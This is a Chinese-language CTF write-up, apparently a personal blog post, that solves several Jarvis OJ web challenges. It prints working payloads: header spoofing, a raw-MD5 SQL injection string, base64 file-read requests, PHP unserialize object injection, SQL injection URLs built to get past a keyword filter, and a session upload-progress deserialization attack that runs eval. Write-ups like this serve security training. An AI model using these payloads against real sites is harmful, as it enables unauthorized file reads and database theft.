Jarvis OJ 平台

Jan 15, 2018 09:54 · 357 words · 2 minute read ctf python

考试终于结束了,离散做的爆炸。做点题缓一缓。

PORT51

使用curl命令指定端口访问

curl --local-port 51 http://web.jarvisoj.com:32770/
flag:PCTF{M45t3r_oF_CuRl}

Localhost

提示:localhost access only!! 只有本地用户才可以访问

伪造IP,为127.0.0.1

X-Forwarded-For: 127.0.0.1
PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}

login

打开链接是一个输入密码的form表单,抓包后发现hint如下

Hint: "select * from `admin` where password='".md5($pass,true)."'"

看到在where语句后拼接了一个md5($pass,true),第一次看到MD5函数的第二个参数,查看手册的解释如下

MD5(string md5  ( string $str  [, bool $raw_output  = false  ] ))
str
原始字符串。
raw_output 
如果可选的 raw_output 被设置为 TRUE ,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。 

百度直接搜索md5($pass,true),看到说简单来说就是 true将16进制的md5转化为字符了,如果某一字符串的md5恰好能够产生如’or ’之类的注入语句,就可以注入了。 提供了字符串 ffifdyop md5后,276f722736c95d99e921722cf9ed621c 转成字符串后: ‘or’6

拿去提交得到flag

PCTF{R4w_md5_is_d4ng3rous}

神盾局的秘密

打开链接是一个图片,右键查看源代码,看到

<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

然后去访问这个链接,出来的是一堆乱码。这是直接把jpg文件内容输出出来,猜测这里可以读文件,而且文件名是经过base64加密。 尝试读取showimg.php文件

http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=

打开一片空白,右键查看源码,就看到了showimg.php的源码

<?php
	$f = $_GET['img'];
	if (!empty($f)) {
		$f = base64_decode($f);
		if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
		&& stripos($f,'pctf')===FALSE) {
			readfile($f);
		} else {
			echo "File not found!";
		}
	}
?>

可以看到使用了readfile函数,而且限制了一个字符串pctf。 同样的操作读取index.php,得到源码

<?php 
	require_once('shield.php');
	$x = new Shield();
	isset($_GET['class']) && $g = $_GET['class'];
	if (!empty($g)) {
		$x = unserialize($g);
	}
	echo $x->readfile();
?>

这里又发现了一个shield.php,先读取下来。

<?php
	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
?>

这里告诉了我们flag在pctf.php文件里,目标就是得到pctf.php的文件内容了。 接下来看shield.php的代码。可以看到这个定义的类里有一个construct方法,这个方法可是触发反序列化漏洞。再去看index.php里,刚好就有一句\$x = unserialize($g);。之前做过一个关于string方法的反序列化漏洞的题。利用手法是一样的。 构造参数的方法如下

<?php
class Shield{
public $file;    
}    
$a = new Shield();  
$a->file = "pctf.php";  
$a = serialize($a);  
echo $a; 
//输出O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
?> 

最终的payload

http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
PCTF{W3lcome_To_Shi3ld_secret_Ar3a}

IN A Mess

右键发现index.phps,访问得到源码。 关键代码

$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("flag.txt");
}

file_get_contents函数可以使用这样的写法file_get_contents(php://input) 来绕过 最终构造的参数

?id=ldkas&a=php://input&b=%00111111
post数据:1112 is a nice lab!

得到了一个路径^HT2mCpcvOLf 访问知道是一个注入。 测试后得出的payload

爆表
http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=-1/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(table_name)/*1*/frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema/*1*/=/*1*/database()#
爆列
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=-1/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(column_name)/*1*/frfromom/*1*/information_schema.COLUMNS/*1*/where/*1*/table_schema=database()#
爆内容
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=-1/*1*/ununionion/*1*/selselectect/*1*/1,2,context/*1*/frfromom/*1*/content#

在爆列名的时候不能使用where table_name=‘content’,很奇怪,所以就使用database()来查。

PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

phpinfo(18-3-19)

源码

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

根据源码可以查看phpinfo,查看phpinfo后可以得到网站的根目录为/opt/lampp/htdocs。(大佬教育我phpinfo很重要,所以真的)

还可以看到网站设置的默认的session存储方式为php_serialize。

| Directive 			| Local Value 	| Master Value |
session.serialize_handler	php  		  php_serialize

再根据源代码的第一行ini_set(‘session.serialize_handler’, ‘php’);将session的存储方式修改为php。 这样的设置就会导致session存储差异引起的反序列化漏洞。 session反序列详解 但是代码里并没有可以控制的session变量,这里有一个小知识,就是利用php在上传文件的时候会将文件名存储到session的变量中。这个功能的实现的条件是将session.upload_progress.enabled设置为on。查看phpinfo的设置选项确实是on。 于是自己构造一个文件上传的页面,上传到http://web.jarvisoj.com:32784/。

文件上传代码

<!DOCTYPE html>
<html>
<head>
	<title></title>
</head>
<body>

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="sdas" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

构造序列化代码

<?php
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
$a = new OowoO();
$a->mdzz='print_r(scandir("/opt/lampp/htdocs"));';
#$a->mdzz='print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
echo serialize($a);

这里用到一个scandir函数,这个函数是将目录下的文件名都打印出来。

结果

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";} 

抓取文件上传的数据包将filename修改为序列化后的结果即可。 flag

CTF{4d96e37f4be998c50aa586de4ada354a}
tweet Share